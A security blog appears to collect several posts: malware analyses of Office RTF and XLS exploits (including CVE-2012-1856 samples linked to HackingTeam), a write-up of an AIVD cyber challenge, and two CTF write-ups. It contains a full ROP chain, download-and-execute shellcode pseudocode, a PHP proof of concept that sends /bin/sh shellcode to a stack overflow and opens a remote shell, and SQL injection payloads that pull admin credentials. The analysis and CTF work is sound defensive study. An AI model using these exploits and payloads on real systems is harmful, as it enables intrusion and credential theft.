Ongoing analysis of unknown exploit targeting Office 2007-2013 UTAI MS15-022

NB: This blog post will be updated in the upcoming days with more information


A few days before the publishing of this blog post I came across an unknown RTF exploit sample which I could not identify as being an exploit targeting a known vulnerability like CVE-2012-0158 or CVE-2014-1761. It turns out that this exploit sample has a far greater impact than most other ‘traditional’ memory corruption exploits targeting MS Office. Successful exploitation seems to be possible on all currently supported versions of MS Office up and including the MS15-022 patch.

ammendment.doc exploit sample

File name ammendment.doc
File size 371.8 KB
File type Rich Text Format data, unknown version
MD5 ae6b65ca7cbd4ca0ba86c6278c834547
First seen on VirusTotal 2015-08-04 07:29:17 UTC
Rerefences VT,,

The exploit sample analyzed in this blog post is an RTF file which contains 4 embedded objects. Each object has its own role in one of the stages of exploitation like: loading a non-aslr module, spraying the heap or triggering the vulnerability.

Object (In order of appearance) Likely Role
otkloadr.WRAssembly.1 Loads “msvcr71.dll” module for ASLR bypass
Word.Document.12 Heap spray using ActiveX objects
Used to store ROP chain and a 1st stage shellcode
Word.Document.12 Vulnerability trigger
Word.Document.12 Heap spray using ActiveX objects.
Role to be determined

Configurations targeted

Several different configurations have been tested against the ammendment.doc sample and it turns out that this exploit is very universal. All currently supported versions of MS Office up to and including the MS15-022 patch seem vulnerable. Installations employing ForceASLR (like Office 2013 on Windows 8.1) do not seem vulnerable.

Configuration targeted
MS Word 2007 <= MS15-022
MS Word 2010 <= MS15-022
MS Word 2013 <= MS15-022


CVE classification

Up to this point it is unclear which vulnerability has been exploited by this exploit. The fact that this exploit is only able of dropping its payload on versions of office up to and including MS15-022 might indicate that the vulnerability exploited by this exploit was patched in MS15-033.

On the other hand, the appearance date of this sample could indicate that this is a sample of CVE-2015-1642, a vulnerability patched by Microsoft in August 2015. But this is just pure speculation.

VirusTotal and Cryptam are not able to provide any relevant information regarding the targeted vulnerability either.

Exploited vulnerability – to be completed

A high level analysis of the exploited vulnerability is planned for the near future.


ASLR bypass

A known technique is being used to bypass ASLR, making it possible to use hardcoded addresses of ROP gadgets. This technique has first been mentioned by Parvez Anwar back in June 2014 on The exploits loads the otkloadr.dll library which contains the ProgID “otkloadr.WRAssembly.1”. This ProgID ensures that a “msvcr71.dll” library which is not compiled with the /DYNAMICBASE option will be loaded.


otkloadr.WRAssembly.1 object in RTF sample

Heap spray

The heap spray used in the ammendment.doc sample is similar in nature as one that has been seen in exploits targeting CVE-2013-3906. In this case the activeX1.bin file is loaded 40 times when the sample is loaded.



Inside of the activeX1.bin file (MD5:23cc315702179b8552b702892e433801) two things can be found:

  1. Padding containing 0x7C342404 dwords functioning as a RET-sled.
  2. A ROP chain and first stage shellcode after every 0x20000 bytes. (16 repetitions in total)

ROP chain and following shellcode as seen from activeX1.bin

ROP chain

The point at which the execution flow is taken over has not yet been identified, in the meanwhile only the part of the ROP chain responsible for marking memory as executable will be discussed.

After taking control over ESP (0x0900810) the execution flow will be redirected to the RET-sled located on the heap.


Execution flow reaching the RET-sled

Due to the inaccuracy of the heap spray execution will end up in the RET-sled. Following the RET-sled, eventually the ROP chain responsible for marking memory as executable will be hit.

0x7c342404    # ret
0x7c3651eb    # pop ebp # ret
0x7c3651eb    # skip 4 bytes
0x7c372b02    # pop ebx # ret 
0x00000201    # 0x201 -> ebx 
0x7c344364    # pop edx # ret 
0x00000040    # 0x40 -> edx 
0x7c351a28    # pop ecx # ret 
0x7c390fc7    # &Writable location -> ecx
0x7c342e9e    # pop edi # ret 
0x7c34a40f    # ret -> edi 
0x7c3650dc    # pop esi # ret 
0x7c3415a3    # jmp dword ptr [eax] -> esi 
0x7c347f97    # pop eax # ret 
0x7c37a151    # ptr to &VirtualProtect() - 0x0EF
0x7c378c4d    # pushad # add al,0EFh # ret 
0x7c345c30    # push esp # ret

People with eye for detail might notice that this ROP chain looks very similar to chains generated by After the “push esp # ret” gadget the first stage shellcode will be executed.


Shellcode analysis

The exploit analyzed in this blog post contains an advanced multistage shellcode which decrypts and drops a backdoor and innocent looking bait.

The 1st stage of the shellcode functions as egg hunter and is used to prepare for the execution of the 2nd stage shellcode. Dropping the lure and backdoor happens in the encrypted 2nd stage shellcode.

1st stage

The 1st stage shellcode functions as an egg hunter and prepares the execution of the 2nd stage shellcode. Its main functionality includes:

  • Locating the RTF file and 2nd stage shellcode in memory
  • Moving the 2nd stage shellcode to a pre-allocated buffer
  • Parsing data to the 2nd stage shellcode

Function addresses are retrieved by comparing the ROR-7 hashes of exported function names.

A disassembled version of this shellcode can be found on, A pseudocode equivalent of the 1st stage shellcode is available at the end of this blog post.

2nd stage

Dropping the actual backdoor happens in the 2nd stage shellcode. This 2nd stage shellcode is encrypted with a XOR-key of 0xfc to complicate shellcode detection based on signatures.


XOR decrypt of 2nd stage shellcode

Commented assembly and pseudocode of both shellcodes will be added at a later point in time.



File size 371.8 KB
Author RCE
Creation date 2015:07:28 12:10:00
File type Microsoft Word 97-2003 Document
MD5 15b5ab180ab245057d8cd4fafc63febc
First seen on VirusTotal 2015-08-04 07:29:17 UTC
Rerefences VT

After a successful exploitation a backdoor and an innocent looking document will be dropped. In this case the lure does not contain any specific target related information and only displays the sentence: “Hey……..”


Lure document that is shown after successful exploitation

Payload analysis

NB: More relevant data about the payload being dropped will be added in the future. The information currently provided must be seen as “as is” and is incomplete for now.

Relevant metadata

MD5 6bde5462f45a230edc7e7641dd711505
Copyright Copyright © Microsoft 2015
Publisher Microsoft
Product OkoloVch-Server
Internal name Windows Update.exe
File version
Debug path D:\1-Visual Basic Proggetti\UtilityWarrior\UtilityWarrior\obj\Debug\UtilityWarrior.pdb
First seen on VirusTotal 2015-08-04 12:22:45 UTC
References VirusTotal, Hybrid-Analysis,


When the backdoor is being analyzed in a sandbox one can observe DNS request for the “” domain. Passive DNS indicates that this domain has been pointing to the IP address:


DNS request for


Possible c&c commands – unconfirmed for now

Handshake, Pipe, Status, Plugin, ShutdownClient, RestartClient, UninstallClient, RestartPC, ClosePC, GetSoftware, ErSoftware, unistallSoftware, GetDriver, GetFiles, SearchFolder, RunFile, DeleteFile, RenameFile, DownloadTCP, UploadTCP, DownloadURL, RefreshLog, ClearLog, UnblockEverything, BlockEverything, RemoteDesktop, MonitorCounts, PcBounds, ShortLinkFolder


1st stage shellcode pseudocode

VirtualAlloc = rorExtractFunction(0x1EDE5967h, kernel32Base);
lpvBuffer = VirtualAlloc(0, 0x500000, 0x3000, 0x40);
funcArr = {0x0AC0A138E, 0x14B19C2, 0x9AA5F07Dh, 0x0};
{GetFileSize, CreateFileMappingA, MapViewOfFile} = rorExtractFunction(lpvBuffer, kernel32Base);
hFile = 0;
// Locate the start of the RTF file in memory
while (true) {
  do {
    hFile += 4;
    dFileSize = GetFileSize(hFile, 0);
  } while (dFileSize < 0xA000 || dFileSize > 0x200000);
  hFileMappingObject = CreateFileMappingA(hFile, 0, 2, 0, 0, 0);
  if (hFileMappingObject) {
    lpvFileView = MapViewOfFile(hFileMappingObject, 4, 0, 0, 0);
    if (lpvFileView) {
      if (&lpvFileView == "{\rt") {
lpvFileView += 0x10000;
// Locate the encrypted 2nd stage shellcode preceded by the fefefefe fefefefe ffffffff tag
while (true) {	  
  do {
    lpvFileView += 4;
  } while (&lpvFileView != 0xFEFEFEFE);
  do {
  } while ((char*)lpvFileView == 0xFE);
  if (&lpvFileView == 0xFFFFFFFF) {
    scAddr = lpvBuffer + 0x1000;
    memcpy(lpvBuffer, lpvFileView + 4, 0x1000);
    scAddr(kernel32Base, lpvFileView, hFile, dFileSize, lpvBuffer);

Analyzing VUPEN’s CVE-2012-1856

Part 1: Overview

Quite some time ago (more than a year before the HackingTeam leaks) I came across a number of interesting exploit samples that make use of CVE-2012-1856. With the recent HackingTeam leaks a number of connections can now be made between this vulnerability discovered by VUPEN and the usage of HackingTeam’s RCS backdoor.

CVE-2012-1856 is a use-after-free vulnerability in the ‘TabStrip’ ActiveX Control present in the ‘MSCOMCTL.OCX’ library. This vulnerability has first been discovered by Nicolas Joly of VUPEN and has been patched by Microsoft on 2012-08-14 in MS12-060. A weaponized exploit is being offered to customers of VUPEN:

In-depth technical analysis of the vulnerability and a fully functional
exploit including ASLR/DEP bypass are available through the VUPEN BAE
(Binary Analysis & Exploits) portal []

Identified samples

The number of samples that seem to exploit the CVE-2012-1856 ‘TabStrip UAF’ appears to be limited. Even though no concrete statistics seem to be publically available, only a very limited amount of samples could be recovered from VirusTotal.

The following list contains an overview of the samples that could be identified as weaponized CVE-2012-1856 samples. More samples that trigger the CVE-2012-1856 vulnerability have been identified, although these samples did not result in an infected attempt when tested with Office 2007 and 2010. These samples are likely just PoCs.

Doc family – Possibly developed by an independent party

To begin with, two quite similar samples that are likely developed by a party not related to HT or VUPEN. These samples trigger the TabStrip UAF and contain a malicious executable, however an infection attempt could not be observed. These samples possibly use ROP gadgets from a library that was not present on any of the testing machines. The other identified samples use ROP gadgets present in the MSCOMCTL.OCX library.

These samples also do not seem to be as universal as the other identified weaponized exploits. A user first has to enable Macro’s before the TabStrip use-after-free can be triggered, this is not the case with the other samples.

Doc sample 1: China-Xi dan Amerika-Obama, Winnie the Pooh.doc

MD5 0a363f2f61bc2483d8cd85722328b804 (VT / cryptam)
First seen on VirusTotal 2013-07-14 09:12:45 UTC
Extracted executable using foremost (MD5) acdbb0d5bea262396f83e53240941c6a (VT)
Lure Indonesian article about Chinese censorship of Winnie the Pooh and Tigger

Doc sample 2 – Elise dropper

MD5 78761220af4d57c17e08f7d1bf72906e (VT / cryptam)
First seen on VirusTotal 2013-06-24 09:02:38 UTC
Extracted executable using foremost (MD5) 6631d67f8baedfc0a244a74cf1411057 (VT)
Lure Conference of Philippine Air Force

XLS family

This family of samples uses an Excel file for exploiting CVE-2012-1856. These XLS samples have a certain key characteristics in common like for example:

  • A shared creation time of 2010-07-28 08:30:50
  • The same placement of ActiveX controls within the excel sheet
  • Similar shellcode

XLS sample 1: document.xls – Hacking Team demo

MD5 c1289a1d9f8a3f4c17e4edac905020a8 (VT / cryptam)
First seen on VirusTotal 2015-07-07 16:13:39 UTC
Downloads payload from hxxp://

Note: This sample originates from the HackingTeam dump and has possibly been used for demonstration purposes.

XLS sample 2: 0000000025.xls

MD5 308934332780eae73f438183b4f05c67 (VT / cryptam)
First seen on VirusTotal 2013-06-28 11:41:52 UTC
Downloads payload from hxxp://

Note: The IP address is known to be Hacking Team related.

XLS sample 3: Reduced Prices.xls

MD5 49b5a24a4b7b8fffc5abb5584c8102a9 (VT / cryptam)
First seen on VirusTotal 2014-02-25 11:32:15 UTC
Downloads payload from hxxp://
Last modified by jl
Code Page Windows Korean (Unified Hangul Code)
Lure Pricelist of home appliances

Note: According to the file previously hosted at has an MD5 hash of b6021aadc9379c73bdc4ba55bbb6d4d2

XLS sample 4: test.xls

MD5 d9f61471d3460d33e27a0f5e15fd9af3 (VT / cryptam)
First seen on VirusTotal 2014-03-10 13:28:18 UTC
Downloads payload from hxxp://
Last modified by jl
Code Page Windows Korean (Unified Hangul Code)
Lure List of companies located in North Korea

Note: According to the executable hosted at was the same file as the one hosted at

RTF sample – CVE-2012-0158 / CVE-2012-1856 combo-exploit

MD5 f0b1e810bb28bb98bafa9f2865a83d0f (VT / cryptam)
First seen on VirusTotal 2012-10-15 07:13:57 UTC
Downloads payload from hxxp://
File Type RTF
Creation date 2012-04-20 01:51:00
Default languages French – France

Note: According to an email present in the Hacking Team archive the domain ‘’ ( has been used as an RCS Collector.

l7steps_collector_screenshot as mentioned in a Hacking Team e-mail

Part 2a: Closer look at XLS sample 1 – Hacking Team demo

MD5 c1289a1d9f8a3f4c17e4edac905020a8 (VT / cryptam)
First seen on VirusTotal 2015-07-07 16:13:39 UTC
Downloads payload from hxxp://

This exploit sample is an Excel file which contains two ActiveX controls which are used to exploit CVE-2012-1856.

Configurations targeted

Only Excel 2007 installations before the MS12-027 patch seem to be targeted. No infected attempt or crash has been observed when other configurations were being tested.

MS12-027 not installed CVE-2012-1856

CVE-2012-1856 exploitation + 1st stage shellcode

Exploiting this use-after-free vulnerability does not seem to be very trivial. However, the developer of this exploit has found a way to exploit this vulnerability without scripting (AS/JS/VBS), stack pivot or the use of a heap spray.

When Page Heap is enabled an access violation can be observed at a call dword ptr [ecx+8] instruction that can be controlled by the attacker.


Access Violation with Page Heap enabled

Right before this controlled indirect call a push eax operation takes place. At this point eax contains a reference to the heap chunk (0x0360908c) that contains the 1st stage egg hunter shellcode. The address of this shellcode will thus be pushed on to the stack.


A ROP gadget at address 0x275bc6e0 is being called to redirect the execution flow. (The address 0x275bc6e0 is present as a byte sequence at the address 0x275b89a + 0x8 inside of the MSCOMCTL.OCX library.) This ROP gadget contains a pop esi instruction that will be used to pop the return address – pushed on to the stack by the call instruction – from the stack.


After popping the return address from the stack no further obstacles exists to gain code execution after the ret 0x275b instruction.


At the end of the ROP gadget instead of returning to the instruction following the indirect call the ROP gadget will return to the heap chunk controlled by the attacker.


By popping the return address created by the call dword ptr instruction from the stack and returning to the controlled heap chunk there is no need for a stack pivot.

After the execution flow has been redirected a 1st stage egg hunter shellcode is being executed to locate the main shellcode in memory. This egg hunter shellcode uses NtAccessCheckAndAuditAlarm  to locate the sequence of ‘0x90419041’ dwords preceding the main shellcode. The egg hunter used in this exploit is quite standard and only capable of performing 32 bit syscalls.

A fairly commented version of the egg hunter can be found on

Main shellcode analysis

The main shellcode is preceded by a large byte sequence which functions as a tag for the egg hunter. This byte sequence consists of 64 repetitions of 0x41904190. The main shellcode is an unencrypted download&execute shellcode that uses GetProcAddress to retrieve the addresses of required functions.

The main behavior of the shellcode can be visualized using the following pseudocode:

// Extraction of the first function addresses happens using a loop.
// This has been left out in the pseudocode for simplicity.
CreateProcessA = GetProcAddress(kernel32, "CreateProcessA");
GetEnvironmentVariableA = GetProcAddress(kernel32, "GetEnvironmentVariableA");
ExitProcess = GetProcAddress(kernel32, "ExitProcess");
LoadLibraryA = GetProcAddress(kernel32, "LoadLibraryA");

URLDownloadToFileA = GetProcAddress(urlmon, &quot;URLDownloadToFileA&quot;);

GetEnvironmentVariableA("TEMP", &tmpFolder, 0xf8);
&tmpFolder += "\O1_YVt1.exe";

URLDownloadToFileA(0x0, &"hxxp://", &tmpFolder, 0x0, 0x0)
CreateProcessA(&tmpFolder, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, &lpStartupInfo, &lpProcessInformation);

Part 2b: Closer look at CVE-2012-0158 / CVE-2012-1856 combo-exploit

MD5 f0b1e810bb28bb98bafa9f2865a83d0f (VT / cryptam)
First seen on VirusTotal 2012-10-15 07:13:57 UTC
Downloads payload from hxxp://
File Type RTF
Creation date 2012-04-20 01:51:00
Default languages French – France

The second sample being analyzed is an RTF file which exploits CVE-2012-1856. This file contains 4 ActiveX controls, an analysis indicates that these ActiveX controls are used to exploit two separate vulnerabilities: CVE-2012-0158 and CVE-2012-1856

ActiveX Control (In order of appearance) Likely Role
MSComctlLib.TabStrip.2 Used to store the main shellcode
MSComctlLib.TreeCtrl.2 CVE-2012-0158 trigger
MSComctlLib.TabStrip.2 CVE-2012-1856 trigger
MSComctlLib.Toolbar.2 Used to replace the heap chunk
freed by CVE-2012-1856

The presence of a CVE-2012-0158 trigger in this sample is a strong indicator that the exploit code for this sample has been written after the MS12-027 patch. A creation date of 2012-04-20 helps in supporting this theory, even though timestamps of samples are not always the most reliable source of information.

The presence of French language settings could indicate an exploit author of French origin. Please note this could also be an attempt to mask the identity of the real exploit developer.

Configurations targeted

Depending on the installation of the MS12-027 patch CVE-2012-0158 or CVE-2012-1856 will be exploited. Only Office 2007 seems to be targeted.

Office 2007 version Targeted vulnerability
MS12-027 not installed CVE-2012-0158
MS12-027 installed CVE-2012-1856

CVE-2012-0158 and 1st stage shellcode

The first vulnerability exploited in this sample is CVE-2012-0158, a stack-based buffer overflow affecting the TreeView and ListView ActiveX controls. This vulnerability is well-known for being heavily exploited in the wild by different actors

After taking control of the instruction pointer, code execution starts from the stack with a “push esp # ret 8” (0x275ef44a) ROP gadget. After pushing the stack pointer on to the stack execution will be redirected to stack memory storing the 1st stage shellcode.

the address of the push esp # ret gadget and the start of the egg hunter shellcode seen from the RTF file

Egg hunter

A 1st stage egg hunter shellcode is being executed to locate the main shellcode in memory. This egg hunter shellcode uses NtAccessCheckAndAuditAlarm to locate a sequence of ‘0x42904290’ dwords in front of the main shellcode. The egg hunter contains functionality to execute both the 32-bit and 64-bit syscall of NtAccessCheckAndAuditAlarm.

A fairly commented version of the egg hunter can be found on

CVE-2012-1856 and code execution

If exploitation of the CVE-2012-0158 stack buffer overflow vulnerability did not occur an attempt at exploiting the CVE-2012-1856 ‘TabStrip’ use-after-free vulnerability takes place. (Please note that this attempt only seems to take place when the malicious document is being closed.)

Redirecting execution flow

Two ActiveX controls are being used to exploit the CVE-2012-1856 vulnerability. One of the TabStrip.2 controls and the Toolbar.2 control are crafted in such a way that the execution flow can be hijacked by the attacker at closure of the document. The freed heap chunk is being replaced by a byte sequence that is present multiple times in the Toolbar.2 control.

The execution flow can once again be hijacked at a call dword ptr [ecx+8] instruction. Right before this controlled indirect call the known push eax operation takes place. At this point eax points to the heap chunk (0x039e4654) that contains the 1st stage egg hunter shellcode and will thus be pushed on to the stack. Consequently a ROP gadget at address 0x275bb639 is being called using the previously mentioned call dword ptr [ecx+8]  instruction. (The value of 0x275bb639 is a legitimate byte sequence stored in the MSCOMCTL.OCX library at the address 0x27589c50 + 8.)


The ROP-gadget at address 0x275bb639 contains an indirect call (call dword ptr [eax+8]) instruction itself.

At this call dword ptr [eax+8]  instruction a 2nd ROP gadget located at the address 0x275cee48 is being called (The value 0x275cee48 is a legitimate byte sequence being stored in the MSCOMCTL.OCX library at the address 0x27588748 + 8)

both calls

After these nested indirect calls two return addresses and the address of the controlled heap chunk are stored on the stack.

This 2nd ROP-gadget located at address 0x275cee48 contains a ret 4 instruction, which allows the attacker to pop the first address from the stack as return address and will increase esp by an additional 4 bytes.

This behavior makes it possible for the 1st ROP gadget to return in to the heap chunk that is controlled by the attacker.


After returning from both gadgets the execution flow will be redirected to the heap chunk controlled by the attacker. (This address was originally pushed on the stack before the first call dword ptr instruction.)

The egg hunter used in the CVE-2012-1856 part of the sample is almost exactly the same as the egg hunter used in combination with the CVE-2012-0158 part of this exploit sample.

Main shellcode and payload

The main shellcode is preceded by a large byte sequence which functions as a tag for the egg hunter. This byte sequence consists of 128 repetitions of 0x42904290. This shellcode attempts to download another shellcode to memory and uses ROR-13 hashing to check retrieved function names. A disassembly of the main shellcode can once again be found on

The following functions are being resolved using ROR-13 hashing:

Function ROR-13 hash
LoadLibraryA 0xec0e4e8e
VirtualAlloc 0x91afca54
InternetOpenA 57e84429
InternetOpenUrlA 7e0fed49
InternetReadFile 5fe348b8

The main behavior of the shellcode can be visualized using the following pseudocode:

lpBuffer = VirtualAlloc(0x0, 0x3000, 0x10000, 0x40);
hInternet = InternetOpenA(0x0, 0x0, 0x0, 0x0. 0x0)
hFile = InternetOpenUrlA(hInternet, &"hxxp://", 0x0, 0x0, 0x0, 0x0);
while (&numberOfBytesRead == 0x100) {
  InternetReadFile(hFile, lpBuffer, 0x100, &numberOfBytesRead);
  lpBuffer += 0x100;
jump lpBuffer;

The shellcode attempts to download a payload from from hxxp:// At time of writing this file was offline, although it is likely that this payload contained shellcode capable of dropping the actual backdoor.


It is plausible to assume that VUPEN’s CVE-2012-1856 has been used multiple times to drop HackingTeam’s RCS backdoor. At which scale is unknown, although this vulnerability does not seem to be as embraced by APT actors as for example CVE-2012-0158.

A number of similarities between the XLS samples and the RTF sample are noticeable despite the presence of different shellcodes:

  • The same vulnerability is being exploited, which only seems to have been used in the wild at a limited scale.
  • A comparable technique is being used to take over the execution flow at the controlled CALL DWORD PTR [ECX+8] instruction.
  • The analyzed egg hunters increment in steps of 0x7c.
  • The analyzed main shellcodes start with similar tag sequences.

Answering the question of which HackingTeam customers might have deployed the mentioned exploit samples is irrelevant for this analysis.


I would like to thank Edwin Engels and Mark Loman for providing samples and giving feedback on a part of this analysis.

Write-up of AIVD Cyber challenge

Original page (currently offline):

In June of this year one of the Dutch intelligence agencies – the AIVD – held a cyber challenge just like back in 2012. In this blog post I want to give a walkthrough of the steps that could have been taken in solving this challenge.

At the beginning of this challenge a zip file was provided containing:
– A private key
– A LUA script to verify the password of the private key
– A network dump containing TLS encrypted traffic

Decrypting network traffic

When looking at the pcap file one could notice that an encrypted conversation takes place with an odd webserver. This webserver seems to use a self signed certificate generated specifically for this challenge. This session is likely the one that has to be decrypted.


In order to decrypt the network traffic we have to decrypt the provided private key.
The password of the private can be derived by looking at the Lua script that has been provided.
The main hashing/encoding routine can be rewritten in the following way in Java:

private void check(String input) {
  long t = 0x1000000 * input.charAt(0);
  t += 0x10000 * input.charAt(1);
  t += 0x100 * input.charAt(2);
  t += input.charAt(3);

  for (int i = 0; i < 10000000; i++) {
    int z = (int)(t % 4);
    switch(z) {
      case 0:
        t = (t + 3141592653l) % 4294967296l;
      case 1:
        t = (3*t + 1732050808l) % 4294967296l;
      case 2:
        t = (5*t + 2236067977l) % 4294967296l;
      case 3:
        t = (7*t + 2645751311l) % 4294967296l;

  String res = input + ":" + t;

The provided Lua script expects a password of 16 characters, but the password is checked in chunks of 4 chars. This means that we can brute force the password one chunk at the time.

Eventually I was able to brute force the password using a very primitive multi-threaded program written in Java which is not worth sharing. It took roughly 20 hours to retrieve all 4 char chunks.

The following chunks were recovered:

1. Grh7:2066590424
2. F1ma:4241186467
3. Ws9r:2486763883
4. 5Ty8:27430929

So, the password is: Grh7F1maWs9r5Ty8

The next step would be to decrypt the private key with the recovered password, something that can be easily done using openssl:

openssl rsa -in ./server.key -out ./server_dec.key

Decrypting the TLS traffic in Wireshark reveales an executable stored on an AWS server:


Reverse engineering executable

The provided executable is a 64-bit ELF binary that expects a certain password.
When looking at the decompilation it becomes clear that a password of 16 chars is expected.

When looking more in depth at the cleaned-up decompilation it can be noted that an encoding function is being called from the main function with as argument a password. The encoding function contains some obfuscation. After simplifying this function it becomes clear that this is just the equivalent of an XOR.

signed __int64 __fastcall main(int a1, __int64 argc) {
  signed __int64 result;
  signed __int64 len;
  __int64 v4;
  bool v5;

  if ( ptrace(0, 0LL, 1LL, 0LL) == -1 ) {
    result = 0xFFFFFFFFLL;
  } else if ( argc == 2 ) {
    len = -1LL;
    v4 = *(_QWORD *)(a2 + 8);

    do {
      if ( !v3 )
      v5 = *(_BYTE *)v4++ == 0;
    } while ( !v5 );

    if ( (unsigned int)encode(*(_QWORD *)(a2 + 8), len ) {
      exec(*(_QWORD *)(a2 + 8));
      result = 0LL;
    } else {
      result = 0xFFFFFFFFLL;
  } else {
    result = 0xFFFFFFFFLL;
  return result;

signed __int64 __fastcall encode(__int64 a1, int len) {
  signed __int64 result;
  char v3;
  char v4;
  unsigned __int8 v5;
  signed int i; 

  if ( len == 16 ) {
    for ( i = 0; i <= 15; ++i ) {
      v3 = ((a1 + i + 3) ^ (a1 + i));
      v4 = (v3 ^ (a1 + i + 5));
      v5 = (v4 ^ (a1 + i + 11));

      if ( byte_602060[(signed __int64)i] != (v5 ^ (a1 + i + 12)) )
        return 0LL;
    result = 1LL;
  } else {
    result = 0LL;
  return result;

int __fastcall exec(__int64 a) {
  int result;
  __int64 v2;
  char s;
  __int64 v4; 

  v4 = *MK_FP(__FS__, 40LL);
  snprintf(&s, 0x50uLL, "%s%s", 6300644LL, a1);
  result = system(&s);
  v2 = *MK_FP(__FS__, 40LL) ^ v4;
  return result;

The encoding function performs the following simplified loop which performs an XOR operation on five bytes of the byte_602060 byte sequence at the time.

for (i = 0; i <= 15; i++) {
  if (byte_602060[(signed __int64)i] != (((a1 + i + 3) ^ (a1 + i)) ^ (v3 ^ (a1 + i + 5)) ^ (v4 ^ (a1 + i + 11)) ^ (a1 + i + 12)))
    return 0LL;

The byte sequence byte_602060 contains the expected result of the operation.


The result is a system of linear equations that has to be solved. The Z3 theorem solver library written for python can be used to solve this system. The following python script is just one of the ways possible to recover the requested password:

from z3 import *

passwd = ""
# We have to use BitVecs:
a,b,c,d,e,f,g,h = BitVecs('a b c d e f g h',8)
i,j,k,l,m,n,o,p = BitVecs('i j k l m n o p',8)

s2 = Solver()

# Mandatory check

# Get the model
model = s2.model()

intArr = [model[a], model[b], model[c], model[d], model[e], model[f], model[g], model[h], model[i], model[j], model[k], model[l], model[m], model[n], model[o], model[p]]

for v in intArr:
    passwd += chr(v.as_long())

print passwd

The recovered password (“xvFgr231Kif09Pbv”) can be used to download a zip file containing a PDF file and a bonus challenge.


At time of writing this blog the original file was already offline.

Analyzing the PDF

The PDF file is an interesting one, it indicates that we’re almost there, but not quite yet.


The following information regarding encrypted data can be found inside of the PDF:

/Author (e2l2OjRmY2NmZjlmMWM5OGExNGY3MWY0M2Q1NDY1NzQ3YmMwfQ==)
/Subject (e2FsZzpBRVNfT0ZCfQ==)
/Title (e2tleTo0YTViNmEwZGE3MzQ1ZTY2ODAyYzNhY2YxODA4MDg0MX0=)

This decodes as:


The only thing left to be recovered is the encrypted message.

I used the online PDF analyzer of to analyze the PDF. It turns out that the encrypted message is present inside of an embedded image.


Decrypting this message should be pretty trivial:

$iv = pack('H*', "4fccff9f1c98a14f71f43d5465747bc0");
$alg = "aes-128-ofb";
$key = pack('H*', "4a5b6a0da7345e66802c3acf18080841");
$enc_nr = pack('H*', "313aa9be110094c2bd4479c2a278d427");
print openssl_decrypt($enc_nr, $alg, $key, true, $iv) . "n";

Taking all things in to consideration I can say that this challenge was a quite interesting one. Only time will tell when a next challenge will be made available.

Cyber Security Group RE / Exploitation challenge

Challenge main page:

“This binary is running on this server. Your task is to access a flag stored in the filesystem of the server. For that, you’ll need to reverse engineer the binary and either abuse its functionality or exploit some vulnerability in the binary.
To give you a head start, we provide an example input (encoded as a hex string) that is interpreted as a “Hello World” kind of program.

Binary analysis

If we take a look at this program in a disassembler like IDA, then we can conclude that this program is a sort of assembly emulator which uses special bytecode. Based on a given opcode, the execute_opcode() function will decide which instruction or function has to be executed.

signed int __cdecl execute_opcode(int a1) {
    signed int v2 = 0;

    switch ( *(_BYTE *)(*(_DWORD *)(a1 + 0x4c) + *(_DWORD *)(a1 + 0x3c)) ) {
        case 0:
            *(_DWORD *)(a1 + 0x3c) += 4;
        case 1:
        case 2:

    … SNIP …

        case 0x17:
            v2 = 1;

    return v2;

The do_svc() function acts as a dispatcher for the functions that can be called using our bytecode. Offsets to these functions are located in the service_table array.


If we take a look at these functions then you can notice that svc_read() contains a buffer and a call to the read() method. However, no boundary checking is being performed. This allows us to overwrite the original buffer and the value of a return address stored on the stack.


In this case I was able to overwrite the return address of the svc_read() method resulting in remote code execution.



The next step involves locating the payload on the stack. GDB can be used to confirm that the payload should be located at the address LEAKED_POINTER – 0x198.

The last thing to do would be to add some shellcode and to get a shell.


Proof of concept code

$hex =
"10000000". // Length

"031e0000". // Mov reg
"0420009c". // Mov low - 0x9c
"05200000". // Mov high - 0x0

"17000001"; // do_svc(1) (svc_read)

$bin = hex2bin($hex);
// /bin/sh shellcode written by Aleph One
$shellcode = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcdx80xe8xdcxffxffxff/bin/sh";

$fp = fsockopen('', 31337, $errno, $errstr);

if (!$fp) {
    echo "ERROR: $errno - $errstr";
} else {
    $debugResponse = fread($fp, 256);
    echo $debugResponse . "rn";

    $leakedAddr = substr($debugResponse, 8, 10);
    // Address of payload
    $ret = pack("I", ($leakedAddr-0x198));

    $payload = $bin . $shellcode . str_repeat("A", (0x98-strlen($shellcode))) . $ret;
    // Send payload
    fwrite($fp, $payload);

    do {
        echo "$ ";
        $command = fgets(STDIN);
        fwrite($fp, $command);
        echo fread($fp, 0x1000) . "rn";
    } while (true);


Cyber Security Group Web challenge


Past December I had the possibility to participate in a web challenge developed by the Cyber Security Research Group of the Delft University of Technology.( One of their challenge (the Web challenge) was accompanied by the following description:

“In you can find a website for a h4x0r shop. The shop is under construction, but it allows registration and contains a message board for gathering feedback. We hear that admins have a super exclusive admin-only message board. Your task is to extract the flag from this exclusive message board, either by logging in as an admin or by any other means.”


This challenge contained a number of vulnerabilities. One of these vulnerabilities was an SQL injection flaw in the “User Profile” section of the user portal.

The following steps can be taken to exploit this vulnerability:

  1. Determine the number of columns
  2. Extract the table and column names
  3. Extract the login credentials of the admin user

Three columns must be used in order to create a valid query: UNION SELECT 1,2,3

Web Challenge 1 The next step would be to extract the table and column names from the SQLITE_MASTER table: ( UNION SELECT 1,GROUP_CONCAT(sql),3 FROM SQLITE_MASTER

This returns the following result:

CREATE TABLE sqlite_sequence(name,seq), CREATE TABLE secret ( id integer primary key autoincrement, flag text not null ),
CREATE TABLE users ( id integer primary key autoincrement, username text not null, password text not null, admin boolean ),
CREATE TABLE messages ( id integer primary key autoincrement, userid text not null, message text not null ),
CREATE TABLE adminmessages ( id integer primary key autoincrement, userid text not null, message text not null )

The last step involves obtaining the password of the admin user: UNION SELECT 1,GROUP_CONCAT(username ||':'|| password),3 FROM users WHERE id=1

Web Challenge 2

cbfdac6008f9cab4083784cbd1874f76618d2a97 is the sha1 hash of “password123″.
We log in with: admin:password123 and we are greeted with the flag.

Web Challenge 3